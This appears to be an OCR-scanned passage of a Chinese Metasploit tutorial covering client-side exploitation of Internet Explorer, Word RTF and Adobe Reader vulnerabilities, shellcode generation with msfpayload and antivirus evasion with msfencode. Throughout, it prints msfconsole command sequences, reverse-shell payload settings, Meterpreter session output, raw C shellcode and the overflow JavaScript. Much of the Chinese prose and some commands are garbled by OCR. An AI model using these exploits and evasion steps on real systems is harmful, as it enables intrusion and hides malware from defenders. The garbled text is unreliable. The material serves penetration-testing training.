—A4T “server started” &I ST T 7F 4444 3 O 0k B HAR FALUR REEMHES. §%
K4 T i% 5 7E H b5 Windows XP H128 FizfTHIZ R,

HErpL2s o i a2l B2 B BEER M T H, BEEEARRMEMAZ, i
Mk H B AT . FEEWE msfeonsole, 2774 W1 F Frsfil—2(5 K.

msf exploit(ie unsafe scripting) > [*] Request received from
192.168.56.102:1080...

[*] Enceding payload into vbs/javascript/html...
[*] Sending exploit html/javascript to 192.168.56.102:1080...

[*] Exe will be uunggEBHE.exe and must be manually removed from the
%TEMP% directory on the target.
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Sending stage (752128 bytes) to 192.168.56.102

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->
192.168.56.102:1081) at 2011-11-12 21:09:26 +0530

Hil, C&# TS5 HEEKERKSWE, A2 TiiiE T AR, & HRVEEH
temp F R FOIEE T —MNaTAT3CM, ZT AT SO A BB B R AT &

2 FRA— F1E%3E Windows 7 1 IE 8 HARHLAE LA BREHEE SR, W FEFTR.

.E‘ http:// 192 168 .56.101 53030 21G1la0)) QE

ﬂ- Favortes ﬂ ﬂ Suggested Sites ~ Er Web Slice Gallery =

Jf?ﬂhﬂﬂﬂum&$1m3mnamhmmn ' i M3

@ Your current security settings put your computer at risk. Click here to change vour security unmy.

H

This program will open culside of Protected mode. Internel
Profecied mode

Explorer's
helos protect your computer. If you do not trust this
website, do not open this program.

L"I Hicrosoft @ Windows Based Script Host

[ 10w not show me the warning for this program again

(=) Details [ Adow Jiﬂwﬂﬂhrl

ALLESR|, AdnzEEn, 1E 8 &3 —MEEMHERR, A Allow ##l)5, MK
BA SRS BPrbLas FiZ1T, SR mmsiER (KT R%0).

IR msfeonsole ## T i1 F —2&(5 BL.

msf exploit(ie unsafe scripting) > [*] Request received from
192.168.56.1:51115...

[*] Encoding payload into vbs/javascript/html...
[*] Sending exploit html/javascript to 192.168.56.1:51115.

[*] Exe will be uddoE.exe and must be manually removed from the %TEMP%
directory on the target.
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[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session 2 opened (192.168.56.101:4444 ->
192.168.56.1:51116) at 2011-11-12 21:15:47 +0530

CLE# Y T 5 Windows 7 HARHLAR IR ER & 18, B FREZSTEPHEAT LR EHIE.

msf exploit(ie unsafe scripting) > sessions

Active sessions

1 meterpreter xB6/win3Z2 DARKLORD-9CAD38\darklord
2 meterpreter x86/win32 HackingAlert-PC\hackingalert

MERATLLE B, 2147 ROR T 2480 o] FH BWE R 218, 4351 & Win XP HL28H1 Win7
PLA%, TS Win 7 Pl &R — S0 H 3R 4E.

msf exploit(ie_ unsafe scripting) > sessions -i 1
meterpreter > shell

Process 4844 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

EB¥IE

A A B TAEE R+ oria . Rl 80X —RFE R RE, 24 “Initialize and
script ActiveX controls not marked safe for scripting” EJ4E % P, VFH ActiveX #5814
WSecript.Shell #4171 7] . WSeript.Shell Xy S 248 7RO Rge . AN, SEBUHESUE
M. PREETT B PRAFeR A, AT 4 79 X n] DUR) F %444 6 & JavaScript B4 5 H FxHL
2 A RGHAT A B IR E TN a2
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%
FHEAA S A EE KN SRR A AR, et n] AR e B A

Internet Explorer Aurora R 7FRiF

KRR AT ZRAKN IE Wi, KBEHIE 2010 Fh 8. X—#RiAZ “Operation
Aurora” 1%y, ki R P IX — IR Bt — 21524 22 7] . Metasploit 3% W ) B A b
EEEP N IE 6 NAFHUA RIS TR BGE, BRI — B e b 25 5] BB 4 i 8 L2,
HARALE S exploit/windows/browser/ms10_002_aurora.

4.3 1IE %28 €SS BBUVA M AA AR

XEIELT IE H AR A Windows V& B el W2 —, H§T S 50i% 35 T 5
Windows 7 il Windows 2008 server #:4F R4t, BROATEOHL T, XBARGHEH 1IE 8 £ 4
YE%. R A LR SRIA VR 6L, T it Sk T PR AL, HAAPLES 2 Windows
7 ultimate edition, BRIN%L3T IE8 (KIT#hT ).

E&

B 56 5) msfconsole. WiFIAI LIS exploit/windows/browser/ms11_003 _ie_css_import,
T b 48 fa7 16 HE 1Y /& windows/meterpreter/bind_tep, T #1375 HAFRHLEEH shell E$E.

BRI

TAEA SRR —H . ERERMNARFRR RN, REEFIGERA, 2
Je b T R PR ACHS AN B A i 5 R S HORAT IEWR W E . FIlIRE/S T 4E msfeonsole kAT
X LRtk

msf > use exploit/windows/browser/msll _003_ie css_import

msf exploit(msll 003 _ie css_import) > set payload windows/meterpreter/
reverse_tcp

payload => windows/meterpreter/reverse tcp
smsf exploit(msll 003 ie css_ import) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
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msf exploit(msll 003 ie css_import) > exploit
[*] Expleoit running as background job.

[*] Started reverse handler on 192.168.56.101:4444
[*] Using URL: http://0.0.0.0:8080/K9JgHoWjzyAPji
[*] Local IP: http://192.168.56.101:8080/K9JgHoWjzyAP]ji

[*] Server started.

MG RATLLE R, exploit 5 payload X &FESHI L IEMIE. AT exploit ié /5,
B A B — N A i B8 http://192.168.56.101:8080/K9JqHoWjzy APji, X 7 T Bkt
R R, TEAXS Hinvlas, LME E IR R drz A IE 3 Wa8T . 1TH5,
HAaPL880 IE MR RELE “HE ", HHRAKRNRERE, HEVSBAR[AKAN
W45, T 2&% X msfeconsole I .

[*] 192.168.56.1:52175 Received request for "/K9JgHoWjzyAPji/\xXxEE\x80\
xA0\XE1\x81\x9A\XEE\xBU\xA0\XxE1\x81\x9A\XEE\x80\xA0\xE1\x81\x9A\XEE\x80\
XAOA\XE1\x81\x9A"

[*] 192.168.56.1:52175 Sending

windows/browser/msll 003 ie css_import CSS

[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->
192.168.56.1:52176) at 2011-11-15 13:18:17 +0530

[*] Session ID 1 (192.168.56.101:4444 -> 192.168.56.1:52176) processing
InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (5164)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 5220

[+] Successfully migrated to process

7E H #nii W23 AT B i {8 )5, msfeonsole ARG —AN &1, FHITHF T B H FrbLa3 10
shell E#z:, AEAEH . msf F1 HrHL2E 2 (81 {) shell ERESEZ G, LR Lidfa — S HAb#R
{E: InitialAutoRunScript 44T T migrate -f 4>, &2 HVE R BKF B 8047 M iexplore.exe
PR B 4S notepad.exe HEFE . X —¥FA B T ORFFRFACER:, BIMER M T HREE, H
PEIR PR 73 LR EE, B4 shell R L2883 5 AN .
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ERIE

THEN T A XN R E 245 R . &R 2 PR AR T 2 20Z R 5 52
B, 7 Windows &%) HTML 5% (mshtml) 47—/ 2 K5 A [E CSS {4 HTML
TR, &9BA AN RFBATE RN . WE ) HTML A B .

// html file
<link href="css.css" rel="stylesheet" type="text/css" />

// css file
*{

color:red;
}
@import url("css.css");
@import url ("css.css");
@import url("css.css");

@import url ("css.css");

M ETACHS BT LAFR e, ARG CSS SCAFIE#I A T 4 K. Mshtml 43 #7i% HTML 1t
dt, SFBONFHE . X—HRFEA RS S EH T HEB SR N NET 2.0 ) mscorie.dll
BER PR, LUMESEIL DEP M1 ASLR SRR AL B TFId MR IEHFE, ARFH < SFE
YA . DA X — R G, B 2 R IBURTE 5 R T AR 1R B AURR .

@ ntpo//192.168.56.101:8080/K9IqHOWZyAP/jOVHtml - Windows Internet Explorer
é-{ 3wl @) htrp://192.168456.201 8080 /K8 IgHoWjzy ARjI/j0vH htrol

—

i Favornes | o3 [LJ Suggested Stes » @ Wb Slice Gallery

- W" Task Manager
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B A R B AT B A S ) TE DU e, BT & ER Windows R4t Bt
PR HEAE, M A aT LA bt G 2 1E S YE 28 100 B N A R, R EF RN ER PR —
/™ notepad.exe 2, AR RGP W H BT ILFHAETF, BESEHEHSFZPIRAHNAR,
1R R FE A B ERAT C 4 M iexplorer.exe i #| notepad.exe, AT ZHBRER G

ZET .

E%
(AR BC AR 2B B — AN LIRTR, T IR R e OB S IE M R %
Missing .NET CLR 2.0.50727

A X — W T B BRI, n] RESs =4 — B 1A B /18 “ Target machine does not have
the NET CLR 2.0.50727”, /=X —5 R0 SR K2 Net 0] 8, FEBRPEN IE M SRE
BV E AR A, Bl user agent 22 M\AE ASLR XIH A Mihl. ¥ IE ) %3 28 1% 5 4 2R
AT 0 2% AT 3 Sh X — R IR A

4.4 Microsoft Word RTF &tz H il

FTEET PP 3 0 s ) 0 A ) W 38 A DS R, AT O ()2 Windows 55 —ANH 8K
{1+ Microsoft Office. RTF k&t H il 75 Office 2010 F1 Office 2007 A P #AFLE . % WIAAE
7ET Microsoft Word RTF 43 #7284} pfragments J& P (1) &b BRI FE b, 1 12 0 1% 08 T BE 47 E 41
SHT,  HARHLAS L 2235 2 Office A ) Windows &% .

E&

B 56 8)) msfeonsole, A7 144 B8 5 (1) & IHI7E exploit/windows/fileformat/ms10 087
rtf_pfragments_bof, A% H] B /& windows/meterpreter/reverse tcp, H T8 3T H#bx
(1] shell %% .

EHZTH

TAEE R S a7 v RIS B2, R E exploit, RJ5EFE payload, 25
FIEM P2 UARUE AT . TG ATIX Se 340 08

msf > use exploit/windows/fileformat/msl0_087_rtf pfragments_bof
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Microsoft Excel 2007 £& i [X 3% i J& 37

X — E AR AR 192 Microsoft Excel 2007 (.xIb), $HATER xIb i F kst i Ik
ITAEBRACHS . iz A I ACHSLE exploit/windows/fileformat/ms11_021 xIb_bof.

4.5 Adobe Reader util.printf() ZZ0pX#:H R

PDF &—Fp) 2 M OCERS N, LS F o0 A OCRs, DR a2 5 4 Bk 38 oK
ik Hbrbl2% . Adobe Reader ZiiiiTH) PDF CREE T Rz —, KFIFEAFET Adobe
Reader 8.1.3 Z A4, ZdilA (A5 60 &% PDF 3C8, fEAAFEARRIAR Adobe
Reader T i), =BG X & H 3 R FPATHERALNS.

&

A R SRS AP e R I ALRIEIE R B L. JLFIE % i Bk i TAE K
#ARRLE, HAERER—EE AR, Wa UMM B AR P E AL
AT, B P awmBeh FEIN S TH S TEETFEL. ARl B brpLas & Windows
XP SP3, iz1T Adobe Reader version 8.1

B 45638 msfeonsole, 14 H] exploit/windows/fileformat/adobe utilprintf #ibk, M4l 4y
fiiH ol windows/meterpreter/reverse tcp.

BRI

B Ae ik B R A B L OIS BORE, REEEREGEERAT, BT kL%
BV ERZH(E. & msfeonsole H 5¢ X L4 1§

msf > use exploit/windows/fileformat/adobe utilprintf

msf exploit(adobe_utilprintf) > set payload windows/meterpreter/reverse
tecp

payload => windows/meterpreter/reverse tcp

msf exploit(adobe utilprintf) > show options

Module optiocns (exploit/windows/fileformat/adobe utilprintf):
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msf exploit(msl0_087_rtf pfragments_bof) > exploit
[*] Creating 'priceinfo.rtf' file ..

[+] priceinfo.rtf stored at /root/.msfd/local/priceinfo.rtf

PAT a4 5, Metasploit #68 — F R HAT & P o Bk S & S0, & SCHT
F/root/.msf4d/local/priceinfo.rtf, " — 27 ik H M A B H A B AR5 % S0 Ak gs AR F
HirAP B E G, SRIATIFT word 30K, F1IFEF S, Microsoft Word S/
PR R TAFRIRYD), FN, BESCHSIhHITRER A, HE T3 H
bRENLRITE RS 1. W IRFFZOEEPFANE, BN SBEGINRE R I EA G BT
1 B R 72

Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 2 opened (192.168.56.101:4444 ->
192.168.56.1:57031) at 2011-11-13 23:16:20 +0530

[*] Session ID 2 (192.168.56.101:4444 -> 192.168.56.1:57031) processing

InitialAutoRunScript 'migrate -f'

[*] Current server process: WINWORD.EXE (5820)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 5556

[+] Successfully migrated to process

46 B JUAT fir & BRZD AT Wi A ARES, JFGIE T SESSION ID % 2 fiFER &1, 51
JUAT fir & R W Bk B A i D AN WINWORD.EXE 3248 % notepad.exes

EHTIE

iz B ARG T — AR Word 3CRY, Z UK AR AL 54 Word 24188, 4
tras TR A EAREE NN B X &t . REBEEEATTRETT, L 53Eh 48
MR R . X I B A R DR T H baPLas B BRI, % Windows ASLR (i
Ht== G4 EEYLE ) SMIEPUTERAN (e ).

L &7
Office A HAM—MIRATHIRE, B EAMEALEY, KRN HLBITRANA.
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msf exploit(msl0 _087_rtf pfragments_bof) > set payload windows/
meterpreter/reverse_tcp

payload => windows/meterpreter/reverse tcp

msf exploit(msl0 087 rtf pfragments bof) > show options
Module options (exploit/windows/fileformat/msl0_087_ rtf pfragments_bof):

Name Current Setting Required Description

—— —— e ——— —— e

FILENAME msf.rtf yes The file name.

Payload options (windows/meterpreter/reverse_ tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Automatic

iz FF SR E FILENAME 2%, P g2 01 MBSk, Bl 2

msfrtf, —TEESAAKES RN CH 4. ETFERBNRZE LHOST 231E, %
S YR B T HLER ) TP Mk

msf exploit(msl0_087_rtf pfragments bof) > set FILENAME priceinfo.rtf
FILENAME => priceinfo.rtf

msf exploit(msl0_087_rtf pfragments bof) > set LHOST 192.168.56.101

L Ay AR SO A B B A priceinfortf, LHOST M4 192.168.56.101, iXFE
MR CERETE.
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Name Current Setting Required Description

FILENAME msf.pdf yes The file name.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yves Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Adobe Reader vB8.1.2 (Windows XP SP3 English)

MERATLAFR], 5| Adobe Reader R4} 8.1.2, #{E &%k Windows XP SP3.

A, Al ) FH ACES AE 15 i Th 34T & BEHCE T B b bl 2348 FH 8 4E R4 Adobe Reader
BRAFRR A .

Z TR A R & 44 ) FILENAME (1248, KL ENBAME, ZS BRI R

GBI HEE PDF 04, BHEIOIAE S5 RWEER SIRIAFR, HIMNETER LHOST
SROLE NG TTHLAER) P Hudik. |

msf exploit(adobe utilprintf) > set FILENAME progressreport.pdf
FILENAME => progressreprt.pdf

msf exploit(adobe utilprintf) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

BUfE CENER A, BT RIZTT exploit fir &4 AR PDF SCRYLL&7E 2 S B Boe i

msf exploit(adobe utilprintf) > exploit
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[*] Creating 'progressreport.pdf' file...

[+] progressreport.pdf stored at /root/.msf4/local/progressreport.pdf

MEE R LLER, C6IE T 44 4 progressreport.pdf (K138 & 3CH:, H-774# 7E/root/.msf4/local
&S 1N

AR BREK A — SRR ) A R s T R e B R V28 . (B BE L Il T 0 20 S8 AR
* M msfconsole, A BAERFEFHITE? LAFREIEER PDF XHA? EEERN
a2 . Metasploit P S 4FEK A B VT 884k, W] 7E msfconsole H 3 ah WiWr 8%, LUMEH T A7E
% v B P AR H R R B E X /EEREBEN KL RE. RECSaE T &R
PDF (A4, {HIAEHR$ATER S uilidi, A E] msfecorsole, }#f exploit/multi/handler
BEHRR A ) R L T 2%

msf > use exploit/multi/handler
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
Exploit target:
Id Name

0 Wildcard Target

msf exploit(handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):
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Name Current Setting Regquired Description

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: she..
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

0 Wildcard Target

msf exploit(hardler) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

MEERTTULES], FR{UBET T multihandler Bilk, AN T Xk#8id. F—%
FR4E B AT EY 0 LHOST M1 LPORT 10, #1F — 5 multi/handler B —iiE 4T A &4
A, BT —FEHITIHE. BEMAT exploit dy4 3 8 2 MW 28 .

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.56.101:4444

IAE [ B2 I Wr a8 | IFIEAT, MU T 8l B ARHLER AT R PDF ORI e fi)
EREHIAES .

&I PDF SCHAE HARHLEE EIATLLS, &SB84S “W%R4%5”, Adobe Reader # {11
T e etER RS, HIRBERARRNIELRS. ZHUKSERARGHT, RENEE
PDF JC{F51K TR K& . Baiilh)s, EBETTHLEE Lo LIE B# meterpreter 215
a1, I HUER Al LAXS B Arblas T m i s
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[*] Started reverse handler on 192.168.56.101:4444

[*] Starting the payload handler...

[*] Sending stage (752128 bytes) to 192.168.56.102

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->
192.168.56.102:1035) at 2011-11-25 12:29:36 +0530

meterpreter > shell
Process 1880 created.

Channel 1 created.
Microsoft Windows XP SP3
(C) Copyright 1985-2001 Microsoft Corp.

E:\>

EHIE

X — P IR YR AE T 8 fR A f¥) Adobe Reader ¥ {4 JavaScript B8 #{ util.printf) () SE 1,
BT8R ZREEEHHBERNSERERCH TR, BRAHBITSEMN 16 M, |
K MAEHFEEE 0 (7St 0x30) BEATIETE, fn 5 ) 1% ek otk i — i
FEAE b PR SORS OBt & 4, MW EE SR A A A IHRIT R . % Metasploit
PRI RF IR E W H) PDF XA, HAP AT XMERF A 2B T30 JavaScript 1
i, JFnrCldA i, R i 250l L Adobe Reader [N FFE FFI2 4T 8 19 FH P BUBR B AT
fERARNS . W% PDF R AWIX P 1T JavaScript 1065 .

var num = 1.2
util.printf ("%5000£", num)

IXPHT 1R B[ JavaScript SRS D REZKF 71 0x20 ZEAR &6 5000 ¥, M ] BAES il
T A ERRR Y, RS AR I N A Bk R

4.6 {3}l msfpayload =B 3 HIFE7H1 shellcode

B HAOMIE, PHRRR 2 BT LA TER T B o, X H bRl a8 AT Bt i
&, PR XEERAY RBRH LSS & RN AR RRE, HRE SR, [
TR R IX S B R TETR R AR, 102 T ZREUS R AUBR , DA Z000) — 25 I P P P B a3k AT I
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Metasploit it & 5 —FohfE, FIAHXFIhAE, BATCAPATZ P im BT, 1y XA b 1H L
X HARHLA$ 24T 10 B A B8 3% i) 8. ] A Msfpayload fi# X — W) 8, B 5eXf H
HEATHOE A G, RJE X AT KR .

Msfpayload /& Metasploit ] — >y 247 34, 7 T4 Metasploit £ /7 = A F (1) & F
AR shellcode, 493% C. Ruby. Raw. Exe. DIl. VBA f War, 7] L{#H] msfpayload
¥ Metasploit shellcode ¥4l Ay b (X 22346 X P BUFE R — R, e # AR IE B H brpl a8
AT, BrbiE R LR B HARLAS R R 21 . XA T SRR T A A H ARPLAS LN A
Fo P SR TR AT MG A MERE , e 4F, msfpayload 55— ME £2 2 0T 1A jl LAY i F2 P 3t
5 A 7E R B %2 X shellcode, it C. Ruby %, JFal T X# B AR FHAHEF
FFRAE S

Msfpayload f)3: SRR, HA A SCHFAE H Frblas BT RHR 2 5 3B i A P A
K. RS Y msfpayload 7525l i 7 o Bk 2 1 7E H

&
1 46 8 BackTrack #8%5, #R )5 {# F] msfpayload - h fir & &H H H¥:.

root@bt:~# msfpayload -h

Usage: /opt/framework3/msf3/msfpayload [<options>] <payload>
[var=val] <[S]ummary|C|[P]lerl|Rub[y]|[Rlaw]|[J]ls|e[X]e|[D]1ll|([V]IBA| [W]ar>

{# ] msfpayload - 1134, rE ] shellcode ¥, AT /50T LATE 3] — A2 BB A
[#17] ] shellcode 1|3 .

BRI
FHEHEFERFFER. BEXK. CHEFEAM shellcode.

i ] B 8T windows/shell/reverse tep Al C 5 5 TE MY shellcode, 1 5E1%HL
AH S A Bk B oy A 33 5 PP LI S 30 {E .

root@bt:~# msfpayload windows/shell/reverse tcp o

Name: Windows Command Shell, Reverse TCP Stager

Module: payload/windows/shell/reverse tcp
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Version: 10394, 11421

Platform: Windows

Arch: xBé6

Needs Admin: No
Total size: 290

Rank: Normal

Basic options:

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port

BHEK shellcode Wi AT £ A S M 21T o B . B A E B shellcode,
WA ZRA i A

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101
LPORT=444]1 o

TR LR E W E LHOST 5 LPORT 231, RJ54 K E 5 X shell ) C 4855 CFif
& H N A T T HIBRLAE T R,

root@bt:~# msfpayloaa windows/shell/reverse tcp LHOST=192.168.56.101
LPORT=4441 C

f*
*
*
*

*

*

*/

windows/shell/reverse tcp - 290 bytes (stage 1)
http://www.metasploit.com

VERBOSE=false, LHOST=192.168.56.101, LPORT=4441,
ReverseConnectRetries=5, EXITFUNC=process,

InitialAutoRunScript=, AutoRunScript=

unsigned char buf[] =

"\xfc\xeB\xB9\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
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"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d\x01\xcT7\xe2"
"AxfO\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\xBb\x34\x8b\x01\xd6\x31\xff\x31\xcO0\xac\xcl\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\x£8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\xB8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xf£f"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"A\xTTAxT73\x32\x5f\x54\x68\x4c\x77\x26 \x07\ x££\ xd5\xb8\x90\x01"

LHMEFPHEEEEMAITPTREN C 23, UL CESHERMTEE shellcode,
iX Bt shellcode PJ7ERRAT] B CHIRFER AR AP EH . FREH, a7 DR AR A4
% Ruby 8% Perl #% =X A4S

B P ORRE/RAAK shellcode B —BEFI M HATIEFF, ZBFEF AT AZER P im Bt sp 6 .

root@bt:~# msfpayload windows/shell/reverse_tcp LHOS1=192.168.56.101 X >

.local/setup.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_ tcp

Length: 290

Options: {"LHOST"=>"192.168.56.101"]

FHAEFPRFEEEM2ITPHREN A2, 28 X FHESE K exe BRI H,
A RS BT AE SO 20 Jocal, R setup.exe, % exe O] FITE 2 P dm Bk h

ERIE

AT AT SR R SE )G, B FR7E msfconsole P& MAWTFRFE, LMEZE HERPLEE -3
1T1% exe SCAFIS X e o] HEREHEA T WA T .

msf > use multi/handler

msf exploit(handler) > set payload windows/shell/reverse tcp
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payload => windows/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.46.101
msf exploit(handler) > expleoit

[-] Handler failed to bind to 192.168.46.101:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler

A A i B R A, B B S A 8 1) 2 BOR AR R T B AT SO R B
HEMmEMFEIR. Har, WWWEFCSMFER R mEEMES, BB (BTN
fE RSt /E Windows 7 ZRI#{E RS AT EE exe G, BuhiF w275 HARVL 850
shell ZE .

4.7 {7 msfencoe MLEEZS F ¥l BEER BB

ERTM A AT, FEEGERREFAERAIBATEFERXR shellcode, JHRILHEE
J ¥ Bk B A o (EUR R EAE T, SR A AT ST PR AR A 5 5 7 i Ty o A KA B K
FLER AT H A EEGR . MAREAMARIE—FE? X5 T Bk, B
PERAERY . X AT AT FREAT 9% 2 — PP A AR .

B R B KA G — P TR MBOR, X AR 3 BRSO AT D> BT 584
FrOEZHE PEEAT UL, SR UEHR I S R B AFTE e Uy, R 52 HFMEICAS, W%
SCAFABE A A Sl o B2 AR B B KA R b U0 X7 By 9 B BOR REAT W SO 3 - Msfencode
f&—F ARt shellcode MEATHIIAIH R H, wI FRARIFC A B 9 B BAHR U HH R I L%, iZ T
Hib &4 KR A S0 .

SR N AN EICAE S EENIN, AN PR AR R Iy 6 7 U BT 4k
FTRHAEZE, —JE shellcode KR!, — A HERHLEE HiZITRB R EERAEAO2K . A
W R KRS, R LR e 5 AS[F] 25 L shellcode 1 FHAS [5] 288 7Y 4 55 7 12 B4 s 2K AR 11
Pim s tE . X EAMAHERPLES, H-—IZ41T Windows XP SP2, 4¢3 T 43R AVG 10,
H. 3247 Windows 7 Ultimate, %2%% T 5¢ W] ESET NOD32 3 H A B 8. & 4eitigfd
FH 17 B0 ) 5 A B3l ok A A S i A B s A, (HAZ B B B R sk, RS
T8 575 — b BB T 20 3] S5 1 B 98 BE A
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&

Msfencode iffi # 24 msfpayload iy 44T “Hiifh” M, LAEXILARLM shellcode
HEATHRES, X0] LA —5 T B8, 1556 )8 80 msfencode, 14T msfencode -h iy4 1] 1| Hi
LRI 2%, 1§ msfencode —1 7] %1 HH & Fp g A8 7Y,

root@bt:~# msfencode -1

Framework Encoders

Name Rank Description
cmd/generic_sh good Generic Shell Variable
Substitution Command Encoder

cmd/ifs low Generic ${IFS} Substitution

Command Encoder

cmd/printf php mg manual printf(l) via PHP magic_quotes
Utility Command Encoder

generic/none normal The "none" Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase
Encoder

x86/alpha upper low Alpha2 Alphanumeric Uppercase
Encoder

xB86/avoid_utfB8 tolower manual Avoid UTF8/tolower

x86/call4 dword xor normal Call+4 Dword XOR Encoder

xB6/context_cpuid manual CPUID-based Context Keyed Payload
Encoder

xB6/context_stat manual stat (2) -based Context Keyed
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Payload Encoder
x86/context_time manual time (2) -based Context Keyed

Payload Encoder

x86/countdown normal Single-byte XOR Countdown Encoder

xB6/fnstenv_mov normal Variable-length Fnstenv/mov Dword
XOR Encoder

x86/jmp _call additive normal Jump/Call XOR Additive Feedback
Encoder

x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata ga nai excellent Polymorphic XOR Additive Feedback
Encoder

x86/single_static_bit manual Single Static Bit

x86/unicode mixed manual Alpha2 Alphanumeric Unicode

Mixedcase Encoder

x86/unicode upper manual Alpha2 Alphanumeric Unicode

Uppercase Encoder

ERPOEKEARKMISS, FimDFMEH T ARKBARKIRA shellcode,
#il4n shikata_ga nai ZeFSH ARSIV R —FF 275 XOR M Bigminas, AR 2R
HhEfR LSRN ERAEF LR, FHARERNEFEEN.

BRI

AFNAE ERZHE 3 AR AA N, UEEF i EEEFRAZ#HX - TH,
A E SRR .

X0 1: HAESE B LM shell, IS msfpayload 5 msfencode 7F [f]— M i
fiEH .

root@bt:~%# msfpayload windows/shell/reverse tcp LHOST=192.168.56.101 R |

msfencode -e cmd/generic_sh -c 2 -t exe > .local/encoded.exe
[*] cmd/generic_sh succeeded with size 290 (iteration=1)

[*] cmd/generic sh succeeded with size 290 (iteration=2)
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ForHiZan S 47#AT 0. A shellcode /&2 windows/shell/reverse tcp, R (3K~
T R raw SCHEERL, i B EE A E R msfencode 14, -e 2 TiRERIGER, £E
il J& cmd/generic_sh, -¢c 2 FREERMRE, -t SERT I 5 Z00 8K SCHF1,
Tot J5 A B SCAEAR AR 7 Jocal 3092, 4428 encoded.exe. 1 FiZ3CH-X1 P & H ArHLASHEAT
& P, 45 IR 2 5 Hh R i 8 Windows XP (AZ4T AVG 10) #1 Windows 7 (GZ1T NOD32)
il . ZRFIEATE AT RE DA T B A PR shell 8, (HIX—ERAT A
Bh 9 B AR AR

=B 2. WngwmiSEE A, 4 shellcode #RIN—MERIAHY Windows exe AR, 3 n
SRS AIE AR E . BRIA BB TT LUK shellcode 45 5E EIBR A K Windows [ #4TFEFF+, 1
n calc.exe 8 cmd.exe, MiIABITEIEEA{FH3CHF. BRIAR Windows AR A] 7 3044 3%
Jopt/framework3/msf3/lib/msf/util/../../../data/templates & %] .

P AT DK BRI B9 Windows AT HUATFE -8 61 3 b i i SCfFde b, Ml aiiR . 7EA
W, # emd.exe HHlBEX—3CHdd, I HAE shellcode MM, A K6 24T
At APERI L NE 2

root@bt:~# msfpayload windows/shell/reverse tcp LHOST=192.168.56.101
R | msfencode -e x86/shikata_ga nai -c 20 -t exe -x cmd.exe> .local/ cmdencoded.

exe

AEE P HREF S E-x HTIRE TN HRATRFER. A cmd.exe £ H#
i, % exe & Windows M TR ST RRFT BN HATEF, SMGKRIAE Y
shikata ga nai, ZZISAERIE msfencode. PHRICH “Excellent”, EACREIMIN A 20 k. &
ZH eI ATIERF S omd.exe RN (B 42 AICAE HAEAREE ), FFAT LUIR 2 5 it
i#tit Windows XP HErHLEF LI AVG 10 BB fHRll, R, Windows 7 HirbL2E iz
1T Y T2 3 FT B NOD32 152885 1 K 52 8 gy, R b iX P H R I&E & T 82177 Windows
PLEs ERIHRRA BB R ER A, B AN RS, XPHEOR A Windows 7/Server 2008 #l,
% LA 3) shell 4, BIEH 23R &2 IRRA KB MR, Shellcode 7EAT I 2 % 4 Al
Wt CHHT BRSSO, BPE AT CABLBE 7 8 0 0F, 78 ST A Windows HL88 A RER
&} shell ZE£2.

CRBI3: AREIFERR GRS 2 BB . A AR R A, 3R
TR . Windows ‘F&HE —FARBT MK vbs BIA, X Hh A A 6] B T 008 55
Windows V& _AE] %0 7+ 2 3 o B B B 4K . VBS JIAC 2 B LUKk 0388 B 9 5 4K
PERIEE SRS, 0 P S 8 ARG AU sy, BAS 2R IE R FEA S5 VBS i
A=A LS. R HTF A msfpayload 1 msfencode 6l & & 1) VBS Bl 4.
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root@bt:~# msfpayload windows/shell/reverse tcp LHOST=192.168.56.101 r |
